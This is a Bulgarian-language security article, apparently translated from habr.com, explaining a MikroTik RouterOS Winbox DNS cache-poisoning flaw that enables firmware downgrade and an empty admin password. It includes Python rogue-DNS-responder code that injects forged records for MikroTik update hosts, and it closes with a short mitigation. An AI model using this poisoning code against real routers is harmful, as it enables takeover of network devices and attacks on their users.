
Възможността за дистанционно даунгрейдване на устройства с RouterOS (Mikrotik) застрашава стотици хиляди мрежови устройства. Уязвимостта е свързана с отравяне на DNS кеша на протокола Winbox и позволява зареждане на остарял (с възстановяване на паролата по подразбиране) или модифициран фърмуер на устройството.

Детайли за уязвимостта
Терминалът на RouterOS поддържа команда за разрешаване с цел търсене на DNS.

Този запит ще се обработва от двоичен файл с име resolver. Resolver е един от многото двоични файлове, свързани с протокола Winbox на RouterOS. На високо ниво, "съобщенията", изпратени до порта Winbox, могат да бъдат маршрутизирани в различни двоични файлове в RouterOS на базата на схема на номериране, основана на масив.
По подразбиране в RouterOS функцията на DNS-сървъра е деактивирана.

Но дори и с деактивирана функция на сървъра, маршрутизаторът поддържа собствен DNS кеш.

Когато правим запит, използвайки winbox_dns_request, например, example.com, маршрутизаторът ще кешира резултата.

Тъй като можем да зададем DNS-сървър, през който да премине запитването, е тривиално да въвеждаме неверни адреси. Например, можем да конфигурираме реализиране на DNS-сървър от , за да отговори винаги с A запис, съдържащ IP адрес 192.168.88.250.
def dns_response(data):
request = DNSRecord.parse(data)
reply = DNSRecord(DNSHeader(
id=request.header.id, qr=1, aa=1, ra=1), q=request.q)
qname = request.q.qname
qn = str(qname)
reply.add_answer(RR(qn,ttl=30,rdata=A("192.168.88.250")))
print("---- Reply:n", reply)
return reply.pack()Сега, ако с Winbox потърсите example.com, можете да видите, че DNS кешът на маршрутизатора е отровен.

Разбира се, отравянето на example.com не е много полезно, тъй като маршрутизаторът реално няма да го използва. Въпреки това, маршрутизаторът трябва да се свърже с upgrade.mikrotik.com, cloud.mikrotik.com, cloud2.mikrotik.com и download.mikrotik.com. И благодарение на още една грешка има възможност да се отровят всички наведнъж.
def dns_response(data):
request = DNSRecord.parse(data)
reply = DNSRecord(DNSHeader(
id=request.header.id, qr=1, aa=1, ra=1), q=request.q)
qname = request.q.qname
qn = str(qname)
reply.add_answer(RR(qn,ttl=30,rdata=A("192.168.88.250")))
reply.add_answer(RR("upgrade.mikrotik.com",ttl=604800,
rdata=A("192.168.88.250")))
reply.add_answer(RR("cloud.mikrotik.com",ttl=604800,
rdata=A("192.168.88.250")))
reply.add_answer(RR("cloud2.mikrotik.com",ttl=604800,
rdata=A("192.168.88.250")))
reply.add_answer(RR("download.mikrotik.com",ttl=604800,
rdata=A("192.168.88.250")))
print("---- Reply:n", reply)
return reply.pack()Рутерът прави едно запитване, а ние предоставяме пет обратно. Рутерът неправилно кешира всички тези отговори.

Очевидно е, че тази атака е полезна и когато рутерът действа като DNS сървър, тъй като позволява да се атакуват клиентите на рутера.
Също така, тази атака позволява да се експлоатира по-сериозна уязвимост: да се извърши понижаване или бекстортиране на версията на RouterOS. Атакуващият възстановява логиката на сървъра за обновления, включително changelog и кара RouterOS да възприеме остарялата (уязвима) версия като актуална. Опасността тук е, че при 'обновление' на версията паролата на администратора се сбросва на 'по подразбиране' — злоумышленикът може да влезе в системата с празна парола!

Атаката е напълно работеща, въпреки че реализира още няколко вектора, включително и , но това вече е излишна техника и използването й за нелегитимни цели е незаконно.
Защита
Просто деактивиране на Winbox позволява защита от тези атаки. Въпреки удобството на администриране чрез Winbox, по-добре е да се използва протоколът SSH.
Източник: habr.com
